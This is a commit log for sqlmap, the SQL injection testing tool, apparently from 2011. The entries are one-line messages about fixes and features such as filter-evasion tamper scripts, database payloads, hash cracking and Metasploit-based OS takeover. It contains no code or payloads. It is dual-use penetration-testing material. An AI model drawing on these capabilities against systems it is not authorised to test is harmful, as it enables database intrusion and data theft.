Miroslav Stampar 1cec29925c added new tampering script by request 2011-10-19 22:07:23 +00:00
Miroslav Stampar 0cbcbf159c minor fix 2011-10-19 21:35:01 +00:00
Miroslav Stampar b6ccc0cc43 minor update 2011-10-18 14:35:42 +00:00
Miroslav Stampar 597d554153 minor update 2011-10-18 13:05:49 +00:00
Miroslav Stampar 7f9f744b87 update regarding last commit 2011-10-12 12:37:05 +00:00
Miroslav Stampar 39e33bea99 important fix (LIMIT m,n should not be considered deterministic in column by column table dumping) 2011-10-12 12:31:47 +00:00
Miroslav Stampar e3a719e7d2 minor update 2011-10-11 22:40:00 +00:00
Miroslav Stampar 7956390631 minor update 2011-10-11 22:27:49 +00:00
Miroslav Stampar a7a29f33ad minor update 2011-10-11 21:58:57 +00:00
Miroslav Stampar dacfeafc5f minor optimization 2011-10-10 17:45:16 +00:00
Miroslav Stampar 4989e8e6d3 minor update 2011-10-10 17:29:54 +00:00
Miroslav Stampar c204f2b221 minor optimization 2011-10-10 14:47:48 +00:00
Miroslav Stampar 47b27a5988 minor improvement of HashDB 2011-10-10 14:23:17 +00:00
Miroslav Stampar 323aa7bf2f minor update 2011-10-09 21:21:41 +00:00
Miroslav Stampar a31a0aa8d4 minor update 2011-10-06 22:29:49 +00:00
Miroslav Stampar 8720aad6dc transformed cDel to pDel as a more generic option 2011-10-06 22:03:33 +00:00
Miroslav Stampar dd0ed5f5da adding redirect response to the traffic file 2011-09-28 08:13:46 +00:00
Miroslav Stampar 6d2536f217 minor update 2011-09-27 22:27:34 +00:00
Miroslav Stampar c0910ca2c8 added one more warning message by request 2011-09-27 22:25:15 +00:00
Miroslav Stampar b888a84764 minor update 2011-09-27 14:31:58 +00:00
Miroslav Stampar 88f1110c44 adding a new (for now) hidden switch --test-filter for filtering tests by their name 2011-09-27 14:09:25 +00:00
Miroslav Stampar fd9acfd7d2 fix 2011-09-26 13:36:08 +00:00
Miroslav Stampar b3b4459c72 minor fix 2011-09-26 13:01:43 +00:00
Miroslav Stampar 34738129c9 minor update 2011-09-25 21:27:58 +00:00
Miroslav Stampar 7e80274fac refactoring 2011-09-25 21:10:45 +00:00
Miroslav Stampar 744636a8c1 switching to SQLite resume support (on error and union techniques this moment) 2011-09-25 20:36:32 +00:00
Miroslav Stampar 2d7d84e16b minor fix 2011-09-25 19:42:24 +00:00
Miroslav Stampar ba5eff1de6 minor bug fix 2011-09-23 18:29:45 +00:00
Miroslav Stampar 0c9944daa8 update for THANKS file 2011-09-20 22:18:20 +00:00
Miroslav Stampar af94ac7f02 minor fix 2011-09-20 22:16:56 +00:00
Miroslav Stampar d95ff4350d bug fix 2011-09-20 13:08:35 +00:00
Miroslav Stampar 4a3580d10b minor fix 2011-09-19 19:08:08 +00:00
Miroslav Stampar af7af0a1df added version check (no more crashes on Python > 3 and < 2.6 2011-09-12 22:48:57 +00:00
Bernardo Damele f890b29f81 Proper reference to Metasploit Framework as now it's version 4, not 3 anymore 2011-09-12 17:26:22 +00:00
Miroslav Stampar 4fb6dab1a2 minor bug fix 2011-09-12 14:15:57 +00:00
Miroslav Stampar 9a1ac96756 bug fix 2011-09-11 17:22:27 +00:00
Miroslav Stampar 1bdde51d0e minor just in case update 2011-09-11 16:41:07 +00:00
Miroslav Stampar 02f993583b minor bug fix 2011-09-09 11:36:09 +00:00
Miroslav Stampar 2f4e34f5a0 minor improvement for URI injections 2011-09-08 11:13:12 +00:00
Miroslav Stampar d434047482 minor bug fix 2011-09-05 09:28:40 +00:00
Miroslav Stampar 382db1b67a degrading Microsoft Access UNION tests for one level down (it really does take toooooo long to scan a site with no vulnerable parameters and normal level) 2011-08-31 20:35:57 +00:00
Miroslav Stampar 793f1d7774 new tampering script 2011-08-29 15:42:01 +00:00
Miroslav Stampar 08e0eb9b61 minor lower/upper case fix 2011-08-29 13:47:32 +00:00
Miroslav Stampar 9be89422da implemented parameter --skip 2011-08-29 13:29:42 +00:00
Miroslav Stampar e0f521cf9d minor update regarding --randomize 2011-08-29 13:08:25 +00:00
Miroslav Stampar ac00014c4a implemented --randomize switch by request 2011-08-29 12:50:52 +00:00
Miroslav Stampar d283e3eb3c adding support for pre-WHERE injections 2011-08-24 09:04:18 +00:00
Miroslav Stampar 8fe069b495 minor fix 2011-08-23 21:48:39 +00:00
Miroslav Stampar 01014eca17 by request 2011-08-23 21:45:01 +00:00
Miroslav Stampar 606debe55c better language 2011-08-23 21:42:34 +00:00
Miroslav Stampar 699cb89711 minor corrections to the definition and minor typos 2011-08-23 16:56:13 +00:00
Miroslav Stampar cfc1f2b70b minor update 2011-08-22 22:43:14 +00:00
Miroslav Stampar f4127a80d7 improvement of UNION based injection detection (with non-NULL kb.uChar values searching of the content inside -1 UNION.. pages is used) 2011-08-22 21:43:46 +00:00
Miroslav Stampar dafc4d93bd typo 2011-08-22 15:05:54 +00:00
Miroslav Stampar 8a174248dc fix for a bug reported by blueBoy 2011-08-20 20:08:11 +00:00
Miroslav Stampar fb6a84b10b minor update (when columns are missing from information_schema too) 2011-08-18 07:03:53 +00:00
Miroslav Stampar cb32d46f2a minor minor update 2011-08-18 06:09:12 +00:00
Miroslav Stampar 54bcc35ba7 important bug fix (connection exception was causing losing of already retrieved data) 2011-08-17 22:31:33 +00:00
Miroslav Stampar 9d31322f3d update regarding special case when conf.uChar appears only in testable pages 2011-08-17 21:40:42 +00:00
Miroslav Stampar 75ec146224 minor beautification 2011-08-17 21:17:02 +00:00
Miroslav Stampar f46baac70b bug fix (when comment is None this was errornous) 2011-08-17 10:58:29 +00:00
Bernardo Damele 9361e633f4 Minor bug fix - some applications do really set cookies like param="value" with double-quotes 2011-08-16 09:21:01 +00:00
Miroslav Stampar e1dbb4443b minor update related to the last commit 2011-08-16 07:01:14 +00:00
Miroslav Stampar 7cc5743c5d minor adjustment of a time based char retrievals (no more infinite increasing of timeSec value for problematic characters) 2011-08-16 06:50:20 +00:00
Miroslav Stampar 600ef3eace minor patch 2011-08-16 06:22:04 +00:00
Miroslav Stampar 262996fc5b bug fix 2011-08-16 06:14:40 +00:00
Miroslav Stampar df4abf1af1 lowering constant value from 10 to 7 for da peace in da houz 2011-08-12 17:19:19 +00:00
Bernardo Damele 702ed73a65 Added --code switch to match in boolean-based tests against the HTTP response code 2011-08-12 16:48:11 +00:00
Bernardo Damele e34787db99 update 2011-08-12 16:06:41 +00:00
Bernardo Damele fff4c34e33 Search for --string and --regexp matches also in HTTP response headers 2011-08-12 15:33:37 +00:00
Bernardo Damele 6d22d09a61 doc updated 2011-08-12 15:03:39 +00:00
Bernardo Damele 5e5133b8e7 Should be fixed now 2011-08-12 15:00:11 +00:00
Bernardo Damele 1505cb2a80 typo 2011-08-12 14:51:39 +00:00
Bernardo Damele 702ca22d54 Minor bug fix for URI injections 2011-08-12 14:48:44 +00:00
Bernardo Damele 28bba9f5e6 More verbose warning message 2011-08-12 13:47:38 +00:00
Miroslav Stampar 10bdd90e60 minor speed optimizations (as a result of profiling) 2011-08-12 13:40:37 +00:00
Bernardo Damele 36280b33fa Ask the user wheather or not to adjust the time delay - there have been a case where the forcing of conf.timeSec screwed the result in an extremely lagged and unreliable site 2011-08-12 13:06:40 +00:00
Bernardo Damele 997c9ba1e8 Minor adjustments to user's manual 2011-08-12 12:56:55 +00:00
Miroslav Stampar 41ae9bc7ff minor bug fix 2011-08-09 14:20:25 +00:00
Miroslav Stampar 2ad267132a minor update for empty normal responses (like AJAX requests) 2011-08-05 10:55:21 +00:00
Miroslav Stampar e849b71027 minor typo 2011-08-03 14:31:42 +00:00
Miroslav Stampar 538b49bcc5 removing word "dramatically". i was too excited at the moment :). it is cool and all but we shouldn't put "highly subjective" attribs in reports 2011-08-03 13:26:38 +00:00
Miroslav Stampar f7562da754 from now on proper union column count should be displayed in injection info output 2011-08-03 10:34:50 +00:00
Miroslav Stampar 13eb20cea1 minor beautification 2011-08-03 10:12:06 +00:00
Bernardo Damele 2e20eb1a88 Minor fix 2011-08-03 10:08:59 +00:00
Miroslav Stampar a3a649ed03 minor update 2011-08-03 09:11:50 +00:00
Miroslav Stampar 9423d15fb3 ORDER BY technique used for finding proper UNION col count (dramatical improvement of speed and capabilities) and one minor bug fix 2011-08-03 09:08:16 +00:00
Miroslav Stampar 07afcd5440 fix for a bug reported by Ahmed Shawky (when user uses --suffix intermixing test default comments with the provided suffix is a big no no) 2011-08-02 18:20:21 +00:00
Miroslav Stampar 07c3d4fb18 minor adjustment 2011-08-02 17:35:43 +00:00
Miroslav Stampar edab7d01a5 minor fix 2011-08-02 17:31:13 +00:00
Bernardo Damele c15439ab7f Minor improvement to --passwords output 2011-08-02 09:04:34 +00:00
Miroslav Stampar cb0981d858 proper way of handling 0 length results (as in __goInferenceProxy) 2011-08-02 08:39:32 +00:00
Miroslav Stampar 0643ced651 minor update 2011-08-02 08:12:43 +00:00
Miroslav Stampar 457f501bbd proper fix 2011-08-01 23:48:38 +00:00
Bernardo Damele ad4584da70 Minor bug fix when dumping tables with UNION query technique on Access, Firebird and MaxDB 2011-08-01 23:44:14 +00:00
Miroslav Stampar 4ca81dd345 quick fix 2011-08-01 23:25:58 +00:00
Bernardo Damele cbd0ea0866 Possible fix for a minor bug 2011-08-01 23:24:39 +00:00
Miroslav Stampar b9438c3e14 doc/THANKS update 2011-08-01 10:18:00 +00:00
Miroslav Stampar e0fda9f985 minor fix 2011-08-01 10:13:25 +00:00
Miroslav Stampar 79b4e26e23 bug fix 2011-08-01 00:17:26 +00:00
Miroslav Stampar 018d7ed646 improvement for limited queries (more stable to have TOP/LIMIT/OFFSET mechanisms as part of a subquery) 2011-07-31 23:40:09 +00:00
Miroslav Stampar 0627bb02cb minor beautification 2011-07-31 10:21:47 +00:00
Miroslav Stampar 93ae1dfa2b minor bug fix 2011-07-31 08:52:48 +00:00
Miroslav Stampar 1f06d7d7de update of THANKS file 2011-07-30 21:51:37 +00:00
Miroslav Stampar 4d923ec375 change in invalid logic regarding --sql-shell (retrieving output for non-query commands did nothing at all) 2011-07-30 21:46:59 +00:00
Miroslav Stampar a6ade08c28 just in case commit to prevent join string iteration over 'None' values 2011-07-30 13:01:37 +00:00
Miroslav Stampar 68ae8ea5b2 minor refactoring 2011-07-29 10:54:25 +00:00
Miroslav Stampar e522263640 fix for a neverending data retrieval in large full inband cases 2011-07-29 10:45:09 +00:00
Miroslav Stampar 4ce93221d1 minor update 2011-07-28 09:24:37 +00:00
Miroslav Stampar 684ddc43e6 minor patch 2011-07-28 08:53:09 +00:00
Miroslav Stampar 3fc603843e minor fix 2011-07-27 23:26:36 +00:00
Miroslav Stampar 107089c00b bug fix 2011-07-27 08:25:51 +00:00
Miroslav Stampar f7eaffcec5 i believe that this could be ok 2011-07-26 21:28:48 +00:00
Bernardo Damele 37de709df2 leftover 2011-07-26 11:20:07 +00:00
Bernardo Damele a2483b3bc4 Aligned OS takeover functionalities to recent Metasploit improvements 2011-07-26 10:29:14 +00:00
Bernardo Damele ea00c94648 Minor bug fix 2011-07-26 10:10:05 +00:00
Bernardo Damele 938716e361 Proper fix for --start and --stop consistency amongst different techniques 2011-07-26 10:06:28 +00:00
Bernardo Damele e71f96afe7 Reverted dumb "fix" 2011-07-26 09:42:09 +00:00
Miroslav Stampar 6bbb8139a0 update (smaller memory footprint in postprocessing phase because of safecharencode part) 2011-07-25 20:40:31 +00:00
Miroslav Stampar 5770c08784 minor optimization and refactoring 2011-07-25 20:17:44 +00:00
Bernardo Damele 0a7a648694 Minor bug fix for --start, now all techniques return the same result (before blind techniques returned from one entry behind) 2011-07-25 11:15:18 +00:00
Bernardo Damele 6cbb927012 Partial fix for -o not resumed at following runs if missing from command line 2011-07-25 11:05:49 +00:00
Bernardo Damele 50f4c4af52 Minor bug fix to parse also MSSQL 2008 R2 signatures 2011-07-24 23:43:01 +00:00
Bernardo Damele b8e2d60bfa Added MSSQL 2008 R2 signatures 2011-07-24 23:42:32 +00:00
Bernardo Damele 48f580fb10 Minor adjustments to MSSQL fingerprint 2011-07-24 23:30:23 +00:00
Bernardo Damele 4550fa9e40 update 2011-07-24 22:43:22 +00:00
Bernardo Damele 99a0b62d0d Minor adjustments 2011-07-24 22:26:11 +00:00
Miroslav Stampar ca83305b58 added MySQL updatexml error-based payload 2011-07-24 21:08:32 +00:00
Miroslav Stampar 2033a28ae7 minor update regarding last commit (cleaner code) 2011-07-24 20:44:17 +00:00
Miroslav Stampar 3a3561fdaa doing proper big table support for partial union too 2011-07-24 20:36:44 +00:00
Miroslav Stampar ec1bc0219c hello big tables, this is sqlmap, sqlmap this is big tables 2011-07-24 09:19:33 +00:00
Miroslav Stampar 82e1e61554 minor speedup 2011-07-23 19:51:19 +00:00
Miroslav Stampar 094dc91e2d minor update (prior to some changes regarding large content retrieval) 2011-07-23 19:04:59 +00:00
Miroslav Stampar a89140e1ce revisit of Oracle error-based payloads (added replace for '@' as a problematic char for XMLType function) 2011-07-23 06:07:00 +00:00
Miroslav Stampar 8a00ca83af refactoring. nothing special changed 2011-07-21 10:18:11 +00:00
Miroslav Stampar 963f54e6d2 minor fix for parameters containing '=' inside values itself (remark: no parameter name will have '=' nor '%3d' inside; tested and it does a good job) 2011-07-21 10:06:52 +00:00
Miroslav Stampar 7881ded60d quick fix (this other library was doing problems) 2011-07-20 22:20:16 +00:00
Bernardo Damele d6b52242c7 Meterpreter's sniffer extension freezes 64-bit systems
Meterpreter's priv extension is loaded by default since Metasploit 3.5 or so.
There is no shellcodeexec 64-bit yet, anyway as the Metasploit payload is encoded with a 32-bit encoded (alphanumeric), it's all fine.
2011-07-20 13:50:02 +00:00
Bernardo Damele 5a1c9a42a3 Minor bug fix 2011-07-20 13:45:34 +00:00
Bernardo Damele 29b5115906 Minor bug fix 2011-07-20 13:28:10 +00:00
Miroslav Stampar 9d996c07fb another quick fix 2011-07-20 13:00:34 +00:00
Miroslav Stampar fad77dd078 fix for a ImportError bug reported by [email protected] 2011-07-20 12:18:36 +00:00
Miroslav Stampar 9cf33ec997 now status is no longer represented in percentage (impossible in cases where we need to support too small and too large dictionaries - technical issues regarding counting) but by the rotating char 2011-07-15 13:24:13 +00:00
Miroslav Stampar ff8fc90ac7 bug fix 2011-07-13 06:44:15 +00:00
Miroslav Stampar 9c694ce3ec bug fix (--tables --columns) 2011-07-12 23:27:47 +00:00
Miroslav Stampar 5c162efbd8 more optimization 2011-07-12 23:21:15 +00:00
Miroslav Stampar 9933edc718 optimization of reflective removal mechanism 2011-07-12 22:28:19 +00:00
Miroslav Stampar 4cb9988243 quick fix 2011-07-12 21:09:33 +00:00
Bernardo Damele cda25cda2f Cosmetics 2011-07-12 20:49:27 +00:00
Miroslav Stampar 3583d6dd1b quick fixes, more work to do 2011-07-12 20:32:19 +00:00
Miroslav Stampar 0126b8eb0e minor revert (it's illegal to use append for updating one array with another array) 2011-07-12 19:34:54 +00:00
Bernardo Damele 48b7245a33 Minor bug fix 2011-07-12 15:47:04 +00:00
Bernardo Damele 0b8c6e4c81 Minor bug fix 2011-07-12 15:30:40 +00:00
Bernardo Damele eeb4436471 renamed 2011-07-12 12:48:15 +00:00
Bernardo Damele 42c5bab013 renamed 2011-07-11 23:37:10 +00:00
Miroslav Stampar a46b5230f5 minor "patch" 2011-07-11 20:33:16 +00:00
Miroslav Stampar 1f826684f6 disabling multiprocessing (maybe permanently) support for Windows as of complications with sharing dictionary iterator 2011-07-11 13:16:59 +00:00
Miroslav Stampar 7bc6280d53 possible fix for a multi-processing "problem" reported by [email protected] 2011-07-11 11:40:27 +00:00
Bernardo Damele 4ae71fd5f4 Updated docstring 2011-07-11 10:39:30 +00:00
Bernardo Damele 86d28947aa updated 2011-07-11 10:07:36 +00:00
Bernardo Damele 2b6b80d7f8 Updated docstring 2011-07-11 10:04:19 +00:00
Bernardo Damele c9e6fc7695 Added new tamper script, tamper/space2mssqlblank.py from RS 2011-07-11 09:49:58 +00:00
Bernardo Damele e47f873fa4 Renamed space2extrarandomblank.py to space2mysqlblank.py 2011-07-11 09:49:03 +00:00
Bernardo Damele c9ba58acb6 Moved MS Access UNION query tests after generic as generic test must identify MSSQL 2011-07-11 09:47:52 +00:00
Bernardo Damele 1e1f429668 Minor minor fix 2011-07-11 09:22:47 +00:00
Miroslav Stampar 5014475637 minor update (changing form of payload[i+1] with payload[i+1:i+2] which is much safer for not crashing the script with invalid char index) 2011-07-11 09:22:29 +00:00
Miroslav Stampar 7a6bddf811 minor fixes pointed by RS 2011-07-11 09:08:24 +00:00
Miroslav Stampar f5e45bf113 quick fix for a bug reported by [email protected] 2011-07-11 08:54:39 +00:00
Miroslav Stampar 98958f8808 minor minor update 2011-07-10 15:41:45 +00:00
Miroslav Stampar 0d6afca7db adding new switch '--smart' by request 2011-07-10 15:16:58 +00:00
Miroslav Stampar 5d31eb5ef7 cosmetics and also tested against testing env - works perfectly 2011-07-10 09:07:07 +00:00
Miroslav Stampar b3acaf85d8 minor update 2011-07-10 08:58:55 +00:00
Miroslav Stampar eb42cedf2a adding extractvalue MySQL >= 5.1 error payload (http://www.notsosecure.com/folder2/2010/06/29/mysql-exploitation-with-error-messages/) - untested (lack of particular ver for testing) and prone to level/risk adjustment 2011-07-10 08:54:22 +00:00
Miroslav Stampar b7433011f8 new tamper script by request 2011-07-08 22:48:03 +00:00
Miroslav Stampar 1e182e6c72 quick fix 2011-07-08 22:34:44 +00:00
Bernardo Damele 05cb65b106 Added one more tamper script from Roberto Salgado and minor adjustment to others 2011-07-08 13:43:34 +00:00
Bernardo Damele 3985a81cb9 Update email addresses 2011-07-08 13:39:47 +00:00
Bernardo Damele 651349e229 More verbose critical message 2011-07-08 13:12:53 +00:00
Bernardo Damele 062c156fc0 Added another tamper script from Roberto Salgado 2011-07-08 11:03:14 +00:00
Miroslav Stampar 93219b9e13 i've accidentally left table_schema removed while doing some tests. now it should be ok 2011-07-08 10:24:46 +00:00
Bernardo Damele b5dd4d4a63 Minor bug fix for Microsoft Access case expressions (like --common-tables) in UNION query SQL injection 2011-07-08 10:19:01 +00:00
Miroslav Stampar 02bfd05b20 more general approach 2011-07-08 10:03:14 +00:00
Miroslav Stampar 5443e06430 cosmetics (in debug mode [0] is used) 2011-07-08 09:43:52 +00:00
Miroslav Stampar c463c411b9 minor update 2011-07-08 09:32:58 +00:00
Miroslav Stampar ba2c06c9dc quick fix 2011-07-08 09:01:32 +00:00
Miroslav Stampar c517e97a44 few fixes and minor cosmetics 2011-07-08 06:02:31 +00:00
Bernardo Damele aedcf8c8d7 Changed homepage address 2011-07-07 20:10:03 +00:00
Bernardo Damele 736327c893 Added two tamper scripts contributed by Roberto Salgado 2011-07-07 18:45:07 +00:00
Bernardo Damele 067354b97f Revert of last commit and proper fix to detect UNION query SQL injection against Microsoft Access 2011-07-07 13:20:40 +00:00
Bernardo Damele c6a0b84242 Some more common tables and columns 2011-07-07 00:23:54 +00:00
Bernardo Damele 9e1a6beb7a Major bug fix in UNION detection, it was a leftover 2011-07-07 00:06:20 +00:00
Bernardo Damele fcd4e94c04 Higher chances to detect UNION query SQL injection against Microsoft Access 2011-07-06 23:52:44 +00:00
Bernardo Damele 9d2aadd4a6 missing docstring details 2011-07-06 22:53:22 +00:00
Bernardo Damele 23b4efdcaf Revamp of tamper scripts, now supporting dependencies() function as well. Improved a lot the docstring and retested all. Added a new one from Ahmad too. 2011-07-06 21:04:45 +00:00
Bernardo Damele 0d28c1e9e7 cosmetics 2011-07-06 20:41:13 +00:00
Bernardo Damele 6f6038b534 Quick fix (revert..) 2011-07-06 11:32:12 +00:00
Miroslav Stampar 93b296e02c few bug fixes (NTLM credential parsing was wrong), some switch reordering (few Misc to General), implemented --check-waf switch (irony is that this will also be called highly experimental/unstable while other things will be called "major/turbo/super bug fix/implementation") 2011-07-06 05:44:47 +00:00
Miroslav Stampar b8ffcf9495 few fixes here and there and multi-core processing for dictionary based hash attack 2011-07-04 19:58:41 +00:00
Bernardo Damele da049110df Minor revert 2011-07-04 15:23:05 +00:00
Miroslav Stampar a1fe9d07ca minor revert 2011-07-02 23:00:22 +00:00
Miroslav Stampar 34d9a91af1 bulk of fixes 2011-07-02 22:48:56 +00:00
Bernardo Damele 861cdb1b14 cosmetics 2011-07-01 10:04:34 +00:00
Miroslav Stampar 4513ef409e massive (like really massive) dictionary support 2011-06-30 23:44:49 +00:00
Miroslav Stampar 43db6b03a7 update with a feature request (file with list of wordlist files) 2011-06-30 08:42:43 +00:00
Miroslav Stampar 366c2d279d minor update 2011-06-30 08:02:52 +00:00
Miroslav Stampar d063ae91eb propset update 2011-06-30 07:55:07 +00:00
Miroslav Stampar b361f60644 minor changes 2011-06-30 07:52:13 +00:00
Miroslav Stampar f3013e4a29 minor update 2011-06-30 06:39:32 +00:00
Miroslav Stampar caf22b58bc new tamper script 2011-06-30 06:34:24 +00:00
Miroslav Stampar 8a36f7fc03 fix for a bug reported by [email protected] (UnboundLocalError: local variable 'infoMsg' referenced before assignment) 2011-06-29 18:04:58 +00:00
Miroslav Stampar 9e453e8709 fix for a bug reported by [email protected] 2011-06-29 17:49:59 +00:00
Miroslav Stampar be9b8bca78 bug fix 2011-06-29 17:39:58 +00:00
Bernardo Damele 6d606d417b Preparing for PostgreSQL 9.0 DLL (--os-pwn) compilation on Windows 64-bit 2011-06-28 13:41:15 +00:00
Bernardo Damele ddb6ba6d47 Added PostgreSQL 9.0 shared object for Linux 32-bit 2011-06-28 13:14:32 +00:00
Bernardo Damele 1698630bc0 Added PostgreSQL 9.0 shared object for Linux 64-bit 2011-06-28 13:12:18 +00:00
Bernardo Damele d3b44a5f58 Added copyright 2011-06-28 10:59:20 +00:00
Bernardo Damele fe686feefa Added support for direct connection (-d switch) to IBM DB2 2011-06-28 10:52:07 +00:00
Bernardo Damele 9eb683531d Minor improvement at blind SQL inj technique for DB2 2011-06-27 22:28:12 +00:00
Miroslav Stampar 75524c283d minor update 2011-06-27 21:59:31 +00:00
Miroslav Stampar 4be55c811f minor update 2011-06-27 21:48:26 +00:00
Miroslav Stampar 831f083223 minor update 2011-06-27 21:38:12 +00:00
Miroslav Stampar 5b4eaf48d9 minor fix (for those blank suffixes out of nowhere at the end of payload - not related to "-- ") 2011-06-27 21:34:49 +00:00
Miroslav Stampar 8a8b94883b minor update (that default quit in --batch was bothering me - my original idea and it was bad :) 2011-06-27 14:14:49 +00:00
Bernardo Damele ed4cfbb6d2 Minor fix 2011-06-27 08:58:59 +00:00
Miroslav Stampar d72db1bf91 minor update (all misc options are alphabetically ordered) 2011-06-27 08:21:33 +00:00
Miroslav Stampar bedf16b88b adding payloads for time-based injection on SAP MaxDB (heavy query) 2011-06-26 23:46:09 +00:00
Miroslav Stampar d0490cc4e7 adding payloads for time-based injection on DB2 (heavy query) 2011-06-26 16:38:22 +00:00
Bernardo Damele 36c96ef796 Added DB2 support - patch provided by Sebastian Bittig 2011-06-25 09:44:24 +00:00
Miroslav Stampar e00cf81f7e minor update 2011-06-24 19:50:13 +00:00
Miroslav Stampar e9286ddd5b fix for a bug reported by [email protected] (UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position
47: ordinal not in range(128))
2011-06-24 19:24:11 +00:00
Miroslav Stampar f434c3b29e update of THANKS file 2011-06-24 19:06:08 +00:00
Miroslav Stampar c4cb367e65 looks nicer (though --tor is implicitly converted into --proxy) 2011-06-24 19:00:53 +00:00
Miroslav Stampar aa83fe5c66 minor update 2011-06-24 18:19:33 +00:00
Miroslav Stampar 21010f702c minor beautification 2011-06-24 17:46:54 +00:00
Miroslav Stampar 2de88bd90b minor update 2011-06-24 17:19:24 +00:00
Miroslav Stampar 96190cf594 minor update 2011-06-24 17:15:15 +00:00
Bernardo Damele b2e6cf3ed9 Enabled --search -C also for Oracle 2011-06-24 14:34:20 +00:00
Bernardo Damele f7196007ca --search on Oracle is now consistent with other plugins 2011-06-24 14:33:30 +00:00
Bernardo Damele ede73d2279 propset 2011-06-24 14:09:41 +00:00
Bernardo Damele 406f2cda09 Got rid of useless TAB completion in --sql-shell 2011-06-24 13:05:13 +00:00
Bernardo Damele 35ce6dedcf Got rid of useless imports 2011-06-24 09:59:11 +00:00
Bernardo Damele a78f5b4eb3 Minor adjustment to avoid function and variables with same name 2011-06-24 09:29:11 +00:00
Bernardo Damele ddfae39d9e Minor bug fixes for --search with -C 2011-06-24 09:27:54 +00:00
Miroslav Stampar eaa2a4202f changing to: --crawl=CRAWLDEPTH 2011-06-24 05:40:03 +00:00
Miroslav Stampar 3717b8423f cleanest fix this moment (conf.dbms will for sure deal problems later in any form) 2011-06-22 15:48:44 +00:00
Miroslav Stampar 5190440ea2 minor fix 2011-06-22 15:36:59 +00:00
Miroslav Stampar 97d8729d71 probable fix for a bug reported by m4l1c3 (RuntimeError: maximum recursion depth exceeded) 2011-06-22 15:28:49 +00:00
Miroslav Stampar 52ba3c281e minor update 2011-06-22 14:59:49 +00:00
Miroslav Stampar 4ca37901da thread safe logging+stdout (no more overlapping of log messages and raw output) 2011-06-22 14:53:42 +00:00
Miroslav Stampar 84bc8c3a37 update 2011-06-22 14:39:31 +00:00
Miroslav Stampar 938db1b513 replacing xmlobject logic with our own 2011-06-22 14:33:52 +00:00
Miroslav Stampar 7c830c2b1a removing xmlobject 2011-06-22 14:33:03 +00:00
Bernardo Damele 1cb12ea659 replaced third-party library python-mysql with python pymysql, http://code.google.com/p/pymysql/ (MIT license) 2011-06-22 13:31:07 +00:00
Miroslav Stampar e76cb19e35 minor patch 2011-06-22 09:11:12 +00:00
Miroslav Stampar 019f4d344a update of THANKS file 2011-06-21 21:03:50 +00:00
Miroslav Stampar b16b92fe46 minor update 2011-06-21 20:59:34 +00:00
Miroslav Stampar 2220afbdf5 fix by request 2011-06-21 20:50:16 +00:00
Miroslav Stampar 9e232256f4 reverting that last commit because there is a mess with default dumping (startLimit is set to 0 which is not so friendly with --start and --stop logic) 2011-06-21 18:29:23 +00:00
Miroslav Stampar 3536320fc9 --stop is inclusive ("Last query output entry to retrieve") 2011-06-21 18:08:33 +00:00
Miroslav Stampar dfc02d8c3c sorry Bernardo, i hope your mobile is turned off :))) 2011-06-20 22:47:24 +00:00
Miroslav Stampar 2a4a284a29 crawler fix (skip binary files) 2011-06-20 22:41:38 +00:00
Miroslav Stampar 20bb1a685b really minor update 2011-06-20 21:57:53 +00:00
Miroslav Stampar 812cd2f19b minor update 2011-06-20 21:47:03 +00:00
Miroslav Stampar e8ac7414f2 bug fix 2011-06-20 21:36:15 +00:00
Miroslav Stampar d6062e8fc9 minor fix for crawler and far less message overlaps in future 2011-06-20 21:18:12 +00:00
Miroslav Stampar 8968c708a0 minor update 2011-06-20 14:27:24 +00:00
Miroslav Stampar 17fac6f67f minor update 2011-06-20 13:53:39 +00:00
Miroslav Stampar 29314f425e minor fix 2011-06-20 13:42:31 +00:00
Miroslav Stampar d9015ed800 fix for a bug reported by [email protected] 2011-06-20 13:25:19 +00:00
Miroslav Stampar f09340fc89 minor update 2011-06-20 12:40:14 +00:00
Miroslav Stampar 4d1fa5596b added support for --scope in --crawl mode 2011-06-20 12:37:51 +00:00
Miroslav Stampar 42746cc706 bug fix 2011-06-20 12:18:46 +00:00
Miroslav Stampar 67fab9f2e2 putting this to info messages (user needs to know at this place why is it waiting) 2011-06-20 12:17:19 +00:00
Miroslav Stampar b1426b5131 bug fix 2011-06-20 12:11:09 +00:00
Miroslav Stampar cda39ca350 minor update 2011-06-20 11:46:23 +00:00
Miroslav Stampar 07e2c72943 adding Beautifulsoup (BSD) into extras; adding --crawl to options 2011-06-20 11:32:30 +00:00
Miroslav Stampar 8c04aa871a english typo 2011-06-20 11:00:23 +00:00
Bernardo Damele d7da71ce8e politeness 2011-06-20 09:10:04 +00:00
Miroslav Stampar bdb530da1f minor update 2011-06-19 10:11:27 +00:00
Miroslav Stampar d5bc149636 made changes by buawig request (504 is treated as a classical timeout) 2011-06-19 09:57:41 +00:00
Miroslav Stampar 83af83da9e minor beautification (WordsSet is considered as a bad english) 2011-06-18 15:47:19 +00:00
Bernardo Damele 4b94ef2b7c A little bit more polite 2011-06-18 13:03:55 +00:00
Bernardo Damele f8c32cf6b9 Moved folder 2011-06-18 12:34:41 +00:00
Bernardo Damele 28ef61b997 Use getPageTextWordsSet() also in --common-columns 2011-06-18 12:30:26 +00:00
Bernardo Damele 6b2f44de14 Minor layout adjustment 2011-06-18 12:27:12 +00:00
Miroslav Stampar ca6f9acf30 minor fix for resuming in multi threading mode 2011-06-18 12:23:18 +00:00
Bernardo Damele cd07139919 Layout adjustments 2011-06-18 11:58:14 +00:00
Miroslav Stampar 31ad0875b4 added by request 2011-06-18 11:34:51 +00:00
Miroslav Stampar e4be141602 minor fix for --smoke-test 2011-06-18 11:26:17 +00:00
Bernardo Damele c7e1aeeef2 layout 2011-06-18 11:02:48 +00:00
Miroslav Stampar 905fef0eae now user can explicitly state number of UNION affected columns via --union-cols (e.g. --union-cols=5) 2011-06-18 10:51:14 +00:00
Miroslav Stampar 7c537f6896 adding Chrome to the user-agents.txt 2011-06-18 10:12:06 +00:00
Miroslav Stampar 0c5d7d4535 removing crawling random agent strings as some sites appear different to them (minor possibility to screw blind engine) 2011-06-18 09:56:21 +00:00
Miroslav Stampar fde3e4cece better 2011-06-18 09:52:07 +00:00
Miroslav Stampar 2f129b01c0 "Please consider to provide" is a bad English 2011-06-18 09:46:22 +00:00
Miroslav Stampar 1440c9f2d4 minor update 2011-06-17 22:28:07 +00:00
Miroslav Stampar 87e9842371 better language 2011-06-17 22:13:45 +00:00
Miroslav Stampar ce3170edef minor update/better language 2011-06-17 22:11:40 +00:00
Miroslav Stampar ec6fa384eb update 2011-06-17 22:04:25 +00:00
Miroslav Stampar 0c9fa5c550 fix 2011-06-17 17:12:47 +00:00
